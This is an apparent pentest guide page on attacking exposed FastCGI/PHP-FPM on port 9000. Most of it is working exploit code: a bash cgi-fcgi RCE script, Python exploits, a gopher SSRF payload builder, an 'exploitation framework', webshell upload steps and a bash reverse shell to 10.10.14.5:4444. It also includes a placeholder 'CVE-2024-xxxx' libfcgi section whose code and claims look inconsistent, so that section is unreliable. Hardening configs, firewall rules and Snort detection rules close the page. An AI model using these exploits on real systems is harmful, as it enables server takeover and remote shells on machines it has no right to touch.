> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/fastcgi-port-9000.md).

# FastCGI - Port 9000

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is FastCGI?

**FastCGI** is a binary protocol that allows web servers to communicate with application servers (typically PHP-FPM) to process dynamic content. It's an evolution of CGI (Common Gateway Interface) designed to:

* **Persist processes** instead of spawning them per request
* **Reduce overhead** of process creation
* **Scale better** with high-traffic applications
* **Support multiple languages** (PHP, Python, Perl, Ruby, etc.)

#### FastCGI vs CGI

```
┌─────────────────────────────────────────────────────────────┐
│                    CGI vs FastCGI                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Traditional CGI:                                           │
│  ┌───────┐         ┌───────┐         ┌───────┐             │
│  │ Web   │────────>│ Fork  │────────>│Process│             │
│  │ Server│         │Process│         │ Dies  │             │
│  └───────┘         └───────┘         └───────┘             │
│  New process per request (slow)                             │
│                                                             │
│  FastCGI:                                                   │
│  ┌───────┐         ┌───────────┐                           │
│  │ Web   │────────>│Persistent │                           │
│  │ Server│  Socket │  Process  │                           │
│  └───────┘         │   Pool    │                           │
│                    └───────────┘                           │
│  Reuses processes (fast)                                    │
└─────────────────────────────────────────────────────────────┘
```

#### Architecture

**Typical Web Stack with FastCGI:**

```
┌─────────────┐         FastCGI Protocol        ┌─────────────┐
│   Nginx     │────────────(9000)───────────────>│   PHP-FPM   │
│  (Port 80)  │         Binary Socket           │  (Port 9000)│
└─────────────┘                                  └─────────────┘
      │                                                 │
      V                                                 V
  Static Files                                    PHP Scripts
  (HTML, CSS, JS)                                (index.php)
```

**Process Flow:**

1. Client requests `http://server/index.php`
2. Nginx receives request
3. Nginx forwards to PHP-FPM via FastCGI (port 9000)
4. PHP-FPM executes script
5. PHP-FPM returns result to Nginx
6. Nginx sends response to client

#### PHP-FPM

**PHP-FPM (FastCGI Process Manager)** is the most common FastCGI implementation:

* Manages pool of PHP worker processes
* Handles FastCGI protocol
* Usually listens on localhost:9000
* Can listen on Unix socket (`/var/run/php-fpm.sock`)

**Configuration Files:**

```
/etc/php-fpm.conf               # Main config
/etc/php-fpm.d/www.conf         # Pool config
/var/log/php-fpm/error.log      # Error log
```

#### Default Port

**Port 9000** - FastCGI (typically PHP-FPM)

```
PORT     STATE SERVICE
9000/tcp open  fastcgi
```

**Important Notes:**

* Usually binds to **localhost only** (127.0.0.1)
* Exposed FastCGI is a **critical vulnerability**
* No authentication by default
* Binary protocol (not HTTP)

### FastCGI Protocol Overview

#### Protocol Structure

**FastCGI Record Format:**

```
┌────────────────────────────────────────┐
│  Version (1 byte)          = 1         │
├────────────────────────────────────────┤
│  Type (1 byte)             = 1-11      │
├────────────────────────────────────────┤
│  Request ID (2 bytes)      = 0-65535   │
├────────────────────────────────────────┤
│  Content Length (2 bytes)  = 0-65535   │
├────────────────────────────────────────┤
│  Padding Length (1 byte)   = 0-255     │
├────────────────────────────────────────┤
│  Reserved (1 byte)         = 0         │
├────────────────────────────────────────┤
│  Content (variable)                    │
├────────────────────────────────────────┤
│  Padding (variable)                    │
└────────────────────────────────────────┘
```

#### Record Types

```
FCGI_BEGIN_REQUEST    = 1   # Start request
FCGI_ABORT_REQUEST    = 2   # Abort request
FCGI_END_REQUEST      = 3   # End request
FCGI_PARAMS           = 4   # Set parameters (CGI variables)
FCGI_STDIN            = 5   # Send input data
FCGI_STDOUT           = 6   # Receive output data
FCGI_STDERR           = 7   # Receive error data
FCGI_DATA             = 8   # Additional data stream
FCGI_GET_VALUES       = 9   # Query server variables
FCGI_GET_VALUES_RESULT = 10  # Response to query
FCGI_UNKNOWN_TYPE     = 11  # Unknown record type
```

#### FastCGI Parameters

**Key Parameters (CGI Environment Variables):**

```
SCRIPT_FILENAME    # Absolute path to PHP file
SCRIPT_NAME        # Request URI
REQUEST_METHOD     # GET, POST, etc.
CONTENT_TYPE       # application/x-www-form-urlencoded
CONTENT_LENGTH     # Length of POST data
QUERY_STRING       # GET parameters
REQUEST_URI        # Full request URI
DOCUMENT_ROOT      # Web root directory
SERVER_SOFTWARE    # Web server name
REMOTE_ADDR        # Client IP
GATEWAY_INTERFACE  # CGI/1.1
```

**PHP-Specific Parameters:**

```
PHP_VALUE          # Override php.ini settings
PHP_ADMIN_VALUE    # Override php.ini (admin-only settings)
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9000 -sV <target-ip>

# Detailed scan
nmap -p 9000 -sV -sC <target-ip>

# Scan for common FastCGI ports
nmap -p 9000,9001,9002 -sV <target-ip>

# Scan subnet
nmap -p 9000 -sV <target-subnet>/24 -oA fastcgi-scan
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
9000/tcp open  fastcgi
```

**Note:** Nmap often shows "unknown" service for FastCGI

#### Service Fingerprinting

**Using cgi-fcgi (libfcgi)**

```bash
# Install libfcgi
sudo apt-get install libfcgi0ldbl

# Test connection
SCRIPT_FILENAME=/var/www/html/index.php \
SCRIPT_NAME=/index.php \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000

# Check PHP-FPM status page (if enabled)
SCRIPT_FILENAME=/status \
SCRIPT_NAME=/status \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000
```

**Sample Status Page Output:**

```
pool:                 www
process manager:      dynamic
start time:           15/Jan/2024:10:30:45 +0000
start since:          3600
accepted conn:        1234
listen queue:         0
max listen queue:     5
listen queue len:     0
idle processes:       2
active processes:     1
total processes:      3
max active processes: 5
max children reached: 0
```

**Using netcat (Limited)**

```bash
# FastCGI is binary protocol
# netcat won't work well, but can check if port is open
nc -zv <target-ip> 9000
```

#### Check for Exposed FastCGI

**Local Testing:**

```bash
# Check if listening on all interfaces (dangerous)
netstat -tlnp | grep 9000

# Sample output if exposed:
# tcp  0  0.0.0.0:9000  0.0.0.0:*  LISTEN  1234/php-fpm

# Sample output if safe:
# tcp  0  127.0.0.1:9000  0.0.0.0:*  LISTEN  1234/php-fpm
```

**Remote Testing:**

```bash
# Try to connect
telnet <target-ip> 9000

# If connection succeeds, FastCGI is exposed (critical!)
# If connection refused/timeout, it's likely localhost-only
```

#### Shodan Queries

```
port:9000
port:9000 fastcgi
port:9000 php-fpm
"php-fpm" port:9000
```

**Note:** FastCGI is rarely indexed by Shodan since it's usually localhost-only

### Remote Code Execution (RCE)

#### Method 1: Direct FastCGI RCE (Exposed Port)

**Concept:** Abuse `PHP_VALUE` to set `auto_prepend_file` with PHP code

**Bash Script Exploitation:**

```bash
#!/bin/bash
# FastCGI RCE Exploit

PAYLOAD="<?php system(\$_GET['cmd']); ?>"
FILENAME="/var/www/html/index.php"  # Must be existing PHP file
HOST=$1
PORT=${2:-9000}

# Base64 encode payload
B64=$(echo "$PAYLOAD" | base64 -w0)

# Send FastCGI request
env -i \
  PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
  SCRIPT_FILENAME=$FILENAME \
  SCRIPT_NAME=$FILENAME \
  REQUEST_METHOD=POST \
  cgi-fcgi -bind -connect $HOST:$PORT

# Usage: ./exploit.sh 127.0.0.1
```

**What This Does:**

1. Sets `PHP_VALUE` to modify PHP configuration
2. Enables `allow_url_include` and `allow_url_fopen`
3. Uses `auto_prepend_file` to execute code before script
4. Uses `data://` stream wrapper with base64-encoded payload
5. Executes when accessing existing PHP file

**Testing:**

```bash
# Run exploit
./exploit.sh <target-ip>

# Access with command
curl "http://<target-ip>/index.php?cmd=whoami"
```

#### Method 2: Python FastCGI Exploit

**Advanced Python Script:**

```python
#!/usr/bin/env python3
"""
FastCGI RCE Exploit
Author: phith0n
URL: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
"""
import socket
import struct
import sys

def encode_name_value(name, value):
    """Encode name-value pair for FastCGI params"""
    name_len = len(name)
    value_len = len(value)
    
    # Encode lengths
    if name_len < 128:
        name_len_bytes = struct.pack('!B', name_len)
    else:
        name_len_bytes = struct.pack('!I', name_len | 0x80000000)
    
    if value_len < 128:
        value_len_bytes = struct.pack('!B', value_len)
    else:
        value_len_bytes = struct.pack('!I', value_len | 0x80000000)
    
    return name_len_bytes + value_len_bytes + name + value

def make_fastcgi_record(rec_type, content, request_id=1):
    """Create FastCGI record"""
    content_length = len(content)
    padding_length = (8 - (content_length % 8)) % 8
    
    header = struct.pack(
        '!BBHHBx',
        1,                  # version
        rec_type,          # type
        request_id,        # requestId
        content_length,    # contentLength
        padding_length     # paddingLength
    )
    
    return header + content + (b'\x00' * padding_length)

def exploit_fastcgi(host, port, php_file, command):
    """Exploit FastCGI to execute command"""
    
    # Payload to execute
    payload = f"<?php system('{command}'); ?>"
    
    # FastCGI parameters
    params = {
        b'SCRIPT_FILENAME': php_file.encode(),
        b'SCRIPT_NAME': b'/index.php',
        b'REQUEST_METHOD': b'POST',
        b'REQUEST_URI': b'/index.php',
        b'DOCUMENT_ROOT': b'/var/www/html',
        b'SERVER_SOFTWARE': b'php/fcgiclient',
        b'REMOTE_ADDR': b'127.0.0.1',
        b'REMOTE_PORT': b'9000',
        b'SERVER_ADDR': b'127.0.0.1',
        b'SERVER_PORT': b'80',
        b'SERVER_NAME': b'localhost',
        b'SERVER_PROTOCOL': b'HTTP/1.1',
        b'CONTENT_TYPE': b'application/x-www-form-urlencoded',
        b'CONTENT_LENGTH': str(len(payload)).encode(),
        b'PHP_VALUE': b'auto_prepend_file = php://input\nallow_url_include = On',
        b'PHP_ADMIN_VALUE': b'allow_url_include = On'
    }
    
    # Encode all parameters
    params_encoded = b''
    for name, value in params.items():
        params_encoded += encode_name_value(name, value)
    
    # Build FastCGI request
    request = b''
    
    # BEGIN_REQUEST
    begin_request = struct.pack('!HB5x', 1, 0)  # role=RESPONDER, flags=0
    request += make_fastcgi_record(1, begin_request)
    
    # PARAMS
    request += make_fastcgi_record(4, params_encoded)
    request += make_fastcgi_record(4, b'')  # Empty PARAMS = end of params
    
    # STDIN (payload)
    request += make_fastcgi_record(5, payload.encode())
    request += make_fastcgi_record(5, b'')  # Empty STDIN = end of input
    
    # Send request
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        sock.sendall(request)
        
        # Receive response
        response = sock.recv(8192)
        
        # Parse response (simplified)
        # Full parsing would decode FastCGI records
        if b'STDOUT' in response or len(response) > 0:
            # Extract output (between FastCGI headers)
            # This is simplified; proper implementation would parse records
            print("[+] Command executed!")
            print(response.decode('utf-8', errors='ignore'))
        else:
            print("[-] No response received")
        
        sock.close()
        return True
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <php_file> <command>")
        print(f"Example: {sys.argv[0]} 127.0.0.1 9000 /var/www/html/index.php 'id'")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2])
    php_file = sys.argv[3]
    command = sys.argv[4] if len(sys.argv) > 4 else 'id'
    
    exploit_fastcgi(host, port, php_file, command)
```

**Usage:**

```bash
# Execute command
python3 fastcgi_exploit.py 127.0.0.1 9000 /var/www/html/index.php "whoami"

# Get reverse shell
python3 fastcgi_exploit.py 127.0.0.1 9000 /var/www/html/index.php "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"
```

#### Method 3: SSRF to FastCGI (Gopher Protocol)

**Concept:** Use SSRF vulnerability to access localhost:9000

**Gopher Payload Builder:**

```python
#!/usr/bin/env python3
"""
Build Gopher payload for FastCGI RCE via SSRF
"""
import struct
import urllib.parse

def make_fastcgi_params(params):
    """Encode FastCGI parameters"""
    result = b''
    for name, value in params.items():
        name_len = len(name)
        value_len = len(value)
        
        result += struct.pack('!B', name_len)
        result += struct.pack('!B', value_len)
        result += name.encode() if isinstance(name, str) else name
        result += value.encode() if isinstance(value, str) else value
    
    return result

def make_record(rec_type, content, request_id=1):
    """Create FastCGI record"""
    content_length = len(content)
    padding_length = (8 - (content_length % 8)) % 8
    
    header = struct.pack(
        '!BBHHBx',
        1, rec_type, request_id,
        content_length, padding_length
    )
    
    return header + content + (b'\x00' * padding_length)

def build_gopher_payload(target_file, command):
    """Build complete gopher payload for SSRF"""
    
    # PHP payload
    php_code = f"<?php system('{command}'); ?>"
    
    # Parameters
    params = {
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': target_file,
        'SCRIPT_NAME': '/index.php',
        'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
    }
    
    # Build FastCGI request
    payload = b''
    
    # BEGIN_REQUEST
    begin_request = struct.pack('!HB5x', 1, 0)
    payload += make_record(1, begin_request)
    
    # PARAMS
    params_encoded = make_fastcgi_params(params)
    payload += make_record(4, params_encoded)
    payload += make_record(4, b'')
    
    # STDIN
    payload += make_record(5, php_code.encode())
    payload += make_record(5, b'')
    
    # URL encode for gopher
    gopher_payload = 'gopher://127.0.0.1:9000/_' + urllib.parse.quote(payload.decode('latin-1'))
    
    return gopher_payload

# Example usage
if __name__ == "__main__":
    payload = build_gopher_payload('/var/www/html/index.php', 'id')
    print("[*] Gopher Payload:")
    print(payload)
    
    print("\n[*] Use this in SSRF parameter:")
    print(f"http://vulnerable-site.com/fetch?url={urllib.parse.quote(payload)}")
```

**Usage in SSRF:**

```bash
# Build payload
python3 gopher_builder.py

# Use in SSRF
curl "http://vulnerable-site.com/fetch?url=gopher://127.0.0.1:9000/_%01%01..."

# Alternative: If SSRF filters gopher, try
curl "http://vulnerable-site.com/fetch?url=http://127.0.0.1:9000/%01%01..."
```

#### Method 4: Nginx Misconfiguration Exploitation

**Vulnerable Nginx Configuration:**

```nginx
location ~ \.php$ {
    # VULNERABLE: No file existence check
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}
```

**With PHP Configuration:**

```ini
; php.ini
cgi.fix_pathinfo=1  ; DANGEROUS when enabled
```

**Exploitation:**

```bash
# Access non-existent file with .php extension
curl http://target.com/../../etc/passwd/.php

# Or upload image with PHP code, then:
curl http://target.com/uploads/image.jpg/.php

# FastCGI will execute it as PHP
```

**Path Traversal Exploitation:**

```bash
# If file uploads are allowed
# 1. Upload file with PHP code (any extension)
echo "<?php system(\$_GET['cmd']); ?>" > shell.jpg

# 2. Upload to server
curl -F "file=@shell.jpg" http://target.com/upload.php

# 3. Access with .php appended
curl "http://target.com/uploads/shell.jpg/.php?cmd=whoami"

# FastCGI executes it as PHP due to misconfiguration
```

## Known Vulnerabilities & CVEs

#### CVE-2024-xxxx: libfcgi Integer Overflow

**Affected:** libfcgi <= 2.4.4 (2024)

**Impact:** Heap overflow → Remote Code Execution

**Description:**

* Integer overflow in `nameLen`/`valueLen` parsing
* Affects 32-bit builds (common in IoT/embedded)
* Leads to heap corruption
* RCE when FastCGI socket is reachable

**Vulnerable Code:**

```c
// libfcgi vulnerable code (simplified)
void parse_params(char *data) {
    unsigned char nameLen = data[0];
    unsigned char valueLen = data[1];
    
    // Integer overflow if nameLen + valueLen > 255
    unsigned int totalLen = nameLen + valueLen;
    
    char *buffer = malloc(totalLen);  // Heap overflow
    memcpy(buffer, data + 2, totalLen);
}
```

**Exploitation:**

```python
#!/usr/bin/env python3
"""
CVE-2024-xxxx: libfcgi integer overflow exploit
"""
import socket
import struct

def exploit_libfcgi_overflow(host, port):
    """Exploit integer overflow in libfcgi"""
    
    # Craft malicious nameLen/valueLen
    # Causes integer overflow in 32-bit systems
    malicious_params = b''
    
    # nameLen = 255, valueLen = 255
    # totalLen = 255 + 255 = 510 (but stored in 8-bit = 254)
    malicious_params += struct.pack('!BB', 255, 255)
    
    # Add shellcode/ROP chain
    malicious_params += b'\x90' * 100  # NOP sled
    malicious_params += b'\xcc' * 50   # INT3 (or actual shellcode)
    
    # Build FastCGI record
    record = struct.pack('!BBHHBx', 1, 4, 1, len(malicious_params), 0)
    record += malicious_params
    
    # Send exploit
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.sendall(record)
    sock.close()
    
    print("[+] Exploit sent!")

# Usage: exploit_libfcgi_overflow('target-ip', 9000)
```

**Mitigation:**

* Update to libfcgi > 2.4.4
* Use 64-bit systems
* Validate input lengths

#### CVE-2024-9026: PHP-FPM Log Manipulation

**Affected:** PHP-FPM with `catch_workers_output = yes`

**Impact:** Log injection/truncation

**Description:**

* When `catch_workers_output` is enabled
* Attackers can inject/truncate log entries
* Up to 4 bytes per log line
* Can hide attack indicators
* Poison logs for SIEM evasion

**Exploitation:**

```bash
# Send specially crafted FastCGI request
# that injects null bytes into logs

env -i \
  PHP_VALUE="error_log=/tmp/poisoned.log" \
  SCRIPT_FILENAME=/var/www/html/index.php \
  REQUEST_METHOD=GET \
  cgi-fcgi -bind -connect 127.0.0.1:9000

# Logs will be corrupted/truncated
```

**Mitigation:**

* Update PHP-FPM
* Disable `catch_workers_output` if not needed
* Monitor logs for corruption
* Use centralized logging

#### Nginx + cgi.fix\_pathinfo Misconfiguration

**Not a CVE, but widespread vulnerability**

**Vulnerable Configuration:**

```nginx
location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}
```

```ini
; php.ini
cgi.fix_pathinfo=1
```

**Impact:**

* Path traversal
* Arbitrary file execution
* Source code disclosure

**Example Attack:**

```bash
# Upload image with PHP code
curl -F "file=@shell.jpg" http://target.com/upload

# Access with .php appended
curl http://target.com/uploads/shell.jpg/x.php

# PHP-FPM executes shell.jpg as PHP
```

**Proper Configuration:**

```nginx
location ~ \.php$ {
    # Check file exists
    try_files $uri =404;
    
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    
    # Split path info safely
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
}
```

```ini
; php.ini
cgi.fix_pathinfo=0  ; SECURE
```

## Defense & Hardening

#### Secure PHP-FPM Configuration

**Bind to Localhost Only:**

```ini
; /etc/php-fpm.d/www.conf

; NEVER bind to all interfaces
; listen = 0.0.0.0:9000  ; DANGEROUS!

; SECURE: Bind to localhost
listen = 127.0.0.1:9000

; EVEN BETTER: Use Unix socket
listen = /var/run/php-fpm/php-fpm.sock
listen.owner = nginx
listen.group = nginx
listen.mode = 0660
```

**Security Settings:**

```ini
; /etc/php-fpm.d/www.conf

; Limit environment variables
clear_env = yes

; Disable dangerous PHP functions
php_admin_value[disable_functions] = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; Restrict open_basedir
php_admin_value[open_basedir] = /var/www/html:/tmp

; Disable allow_url_include
php_admin_value[allow_url_include] = Off

; Disable allow_url_fopen (if not needed)
php_admin_value[allow_url_fopen] = Off

; Set memory limits
php_admin_value[memory_limit] = 128M

; Enable security logging
php_admin_flag[log_errors] = on
php_admin_value[error_log] = /var/log/php-fpm/www-error.log

; Catch worker output (but be aware of CVE-2024-9026)
catch_workers_output = yes
```

#### Secure Nginx Configuration

**Safe PHP Handling:**

```nginx
location ~ \.php$ {
    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    
    # Check file exists (CRITICAL)
    try_files $uri =404;
    
    # Safe path splitting
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    
    # Pass to PHP-FPM (via socket)
    fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock;
    
    # Or via TCP (localhost only)
    # fastcgi_pass 127.0.0.1:9000;
    
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    
    # Security parameters
    fastcgi_param PHP_VALUE "open_basedir=/var/www/html:/tmp";
    
    # Timeouts
    fastcgi_connect_timeout 60;
    fastcgi_send_timeout 180;
    fastcgi_read_timeout 180;
}

# Deny access to sensitive files
location ~ /\. {
    deny all;
}

location ~ ~$ {
    deny all;
}

# Limit upload size
client_max_body_size 10M;
```

**Disable Path Info (Secure):**

```ini
; /etc/php.ini
cgi.fix_pathinfo=0
```

#### Network Security

**Firewall Rules:**

```bash
# UFW - Block external access to FastCGI
sudo ufw deny 9000/tcp

# Only allow from localhost (redundant if PHP-FPM binds to 127.0.0.1)
sudo ufw allow from 127.0.0.1 to any port 9000

# iptables
sudo iptables -A INPUT -p tcp --dport 9000 ! -s 127.0.0.1 -j DROP

# Even better: DROP all by default
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
```

**Monitor Connections:**

```bash
# Check for external connections to FastCGI
netstat -tnp | grep :9000

# Should only show localhost connections
# tcp  0  0 127.0.0.1:9000  127.0.0.1:xxxxx  ESTABLISHED

# Alert on external connections
watch -n 5 'netstat -tnp | grep :9000 | grep -v "127.0.0.1"'
```

#### Monitoring & Detection

**Log Monitoring:**

```bash
# Monitor PHP-FPM logs
tail -f /var/log/php-fpm/error.log

# Look for suspicious activity:
# - Multiple errors from same IP
# - PHP_VALUE overrides
# - auto_prepend_file usage
# - allow_url_include changes

# Search for attacks
grep -i "auto_prepend_file" /var/log/php-fpm/error.log
grep -i "allow_url_include" /var/log/php-fpm/error.log
grep -i "PHP_VALUE" /var/log/php-fpm/error.log
```

**Intrusion Detection:**

```bash
# Snort rule for FastCGI exploitation
alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - auto_prepend_file"; content:"auto_prepend_file"; sid:1000001;)

alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - PHP_VALUE"; content:"PHP_VALUE"; content:"auto_prepend_file"; distance:0; sid:1000002;)

alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - allow_url_include"; content:"allow_url_include"; sid:1000003;)

alert tcp any any -> any 9000 (msg:"FastCGI external connection"; flow:to_server; threshold:type limit, track by_src, count 1, seconds 60; sid:1000004;)
```

**File Integrity Monitoring:**

```bash
# Monitor PHP-FPM configuration
# /etc/php-fpm.conf
# /etc/php-fpm.d/*.conf

# Use AIDE or similar
aide --init
aide --check

# Or use auditd
auditctl -w /etc/php-fpm.conf -p wa -k phpfpm_config
auditctl -w /etc/php-fpm.d/ -p wa -k phpfpm_config
```

#### Regular Security Practices

```bash
# Keep PHP-FPM updated
sudo yum update php-fpm  # CentOS/RHEL
sudo apt update && sudo apt upgrade php-fpm  # Debian/Ubuntu

# Check PHP version
php-fpm -v

# Review configuration
php-fpm -t  # Test config
php-fpm -i  # Show info

# Review pools
ls -la /etc/php-fpm.d/

# Check process status
systemctl status php-fpm
ps aux | grep php-fpm

# Review open files
lsof -i :9000

# Security audit script
#!/bin/bash
echo "[*] PHP-FPM Security Audit"

# Check binding
echo "[*] Checking FastCGI binding..."
netstat -tlnp | grep 9000

# Check for external exposure
if netstat -tlnp | grep -q "0.0.0.0:9000"; then
    echo "[!] WARNING: FastCGI exposed to all interfaces!"
else
    echo "[+] FastCGI only on localhost"
fi

# Check dangerous settings
echo "[*] Checking php.ini..."
php -i | grep -i "allow_url_include"
php -i | grep -i "allow_url_fopen"
php -i | grep -i "disable_functions"

# Check file permissions
echo "[*] Checking file permissions..."
ls -la /etc/php-fpm.conf
ls -la /etc/php-fpm.d/

echo "[*] Audit complete!"
```

## Tools & Scripts

#### Essential Tools

1. **cgi-fcgi** - FastCGI client (libfcgi)
2. **Gopherus** - SSRF payload generator
3. **curl** - HTTP client (for testing)
4. **nmap** - Port scanning
5. **Custom Python scripts** - Protocol manipulation

#### Install cgi-fcgi

```bash
# Debian/Ubuntu
sudo apt-get install libfcgi0ldbl

# CentOS/RHEL
sudo yum install fcgi

# Test installation
which cgi-fcgi
```

#### Complete Exploitation Framework

```python
#!/usr/bin/env python3
"""
FastCGI Exploitation Framework
"""
import socket
import struct
import sys
import urllib.parse

class FastCGIExploit:
    def __init__(self, host, port=9000):
        self.host = host
        self.port = port
    
    def make_record(self, rec_type, content, request_id=1):
        """Create FastCGI record"""
        content_length = len(content)
        padding_length = (8 - (content_length % 8)) % 8
        
        header = struct.pack(
            '!BBHHBx',
            1,                  # version
            rec_type,           # type
            request_id,         # requestId
            content_length,     # contentLength
            padding_length      # paddingLength
        )
        
        return header + content + (b'\x00' * padding_length)
    
    def encode_params(self, params):
        """Encode parameters"""
        result = b''
        for name, value in params.items():
            name = name.encode() if isinstance(name, str) else name
            value = value.encode() if isinstance(value, str) else value
            
            result += struct.pack('!B', len(name))
            result += struct.pack('!B', len(value))
            result += name + value
        
        return result
    
    def exploit_rce(self, php_file, command):
        """Execute command via FastCGI"""
        payload = f"<?php system('{command}'); ?>"
        
        params = {
            'REQUEST_METHOD': 'POST',
            'SCRIPT_FILENAME': php_file,
            'SCRIPT_NAME': '/index.php',
            'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
        }
        
        # Build request
        request = b''
        
        # BEGIN_REQUEST
        begin = struct.pack('!HB5x', 1, 0)
        request += self.make_record(1, begin)
        
        # PARAMS
        request += self.make_record(4, self.encode_params(params))
        request += self.make_record(4, b'')
        
        # STDIN
        request += self.make_record(5, payload.encode())
        request += self.make_record(5, b'')
        
        # Send
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.host, self.port))
            sock.sendall(request)
            response = sock.recv(8192)
            sock.close()
            
            print("[+] Command executed!")
            print(response.decode('utf-8', errors='ignore'))
            return True
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def generate_gopher(self, php_file, command):
        """Generate gopher payload for SSRF"""
        payload = f"<?php system('{command}'); ?>"
        
        params = {
            'REQUEST_METHOD': 'POST',
            'SCRIPT_FILENAME': php_file,
            'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
        }
        
        # Build FastCGI request
        request = b''
        begin = struct.pack('!HB5x', 1, 0)
        request += self.make_record(1, begin)
        request += self.make_record(4, self.encode_params(params))
        request += self.make_record(4, b'')
        request += self.make_record(5, payload.encode())
        request += self.make_record(5, b'')
        
        # Create gopher URL
        gopher = 'gopher://127.0.0.1:9000/_' + urllib.parse.quote(request.decode('latin-1'))
        return gopher

# Usage
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("FastCGI Exploitation Framework")
        print(f"Usage: {sys.argv[0]} <mode> [options]")
        print("Modes:")
        print("  rce <host> <php_file> <command>     - Direct RCE")
        print("  gopher <php_file> <command>         - Generate gopher payload")
        sys.exit(1)
    
    mode = sys.argv[1]
    
    if mode == 'rce':
        if len(sys.argv) < 5:
            print(f"Usage: {sys.argv[0]} rce <host> <php_file> <command>")
            sys.exit(1)
        
        exploit = FastCGIExploit(sys.argv[2])
        exploit.exploit_rce(sys.argv[3], sys.argv[4])
    
    elif mode == 'gopher':
        if len(sys.argv) < 4:
            print(f"Usage: {sys.argv[0]} gopher <php_file> <command>")
            sys.exit(1)
        
        exploit = FastCGIExploit('127.0.0.1')
        gopher = exploit.generate_gopher(sys.argv[2], sys.argv[3])
        print("[*] Gopher payload:")
        print(gopher)
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9000 -sV <target>

# DIRECT RCE (cgi-fcgi)
env -i PHP_VALUE="auto_prepend_file=php://input\nallow_url_include=1" \
SCRIPT_FILENAME=/var/www/html/index.php REQUEST_METHOD=POST \
cgi-fcgi -bind -connect <target>:9000 < <(echo "<?php system('whoami'); ?>")

# PYTHON RCE
python3 fastcgi_exploit.py <host> 9000 /var/www/html/index.php "id"

# CHECK STATUS PAGE
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000

# GENERATE GOPHER PAYLOAD
python3 gopher_builder.py /var/www/html/index.php "whoami"

# CHECK IF EXPOSED
netstat -tlnp | grep 9000
telnet <target> 9000
```

#### Important Files

```
/etc/php-fpm.conf                   # Main config
/etc/php-fpm.d/www.conf             # Pool config
/var/log/php-fpm/error.log          # Error log
/var/run/php-fpm/php-fpm.sock       # Unix socket
/etc/nginx/nginx.conf               # Nginx config
/etc/php.ini                        # PHP config
```

#### Key Parameters

```
SCRIPT_FILENAME     # Path to PHP file
PHP_VALUE           # Override php.ini
PHP_ADMIN_VALUE     # Admin override
REQUEST_METHOD      # GET/POST
auto_prepend_file   # Execute before script
allow_url_include   # Enable URL includes
```

### Conclusion

FastCGI, while designed for performance, introduces significant security risks when exposed or misconfigured. The combination of no default authentication, powerful parameter injection capabilities, and common misconfigurations makes it a critical target for attackers.

**Key Takeaways:**

1. **Never expose FastCGI externally** - Bind to localhost only
2. **Use Unix sockets** - More secure than TCP sockets
3. **Validate file existence** - Nginx must check files exist
4. **Disable cgi.fix\_pathinfo** - Set to 0 in php.ini
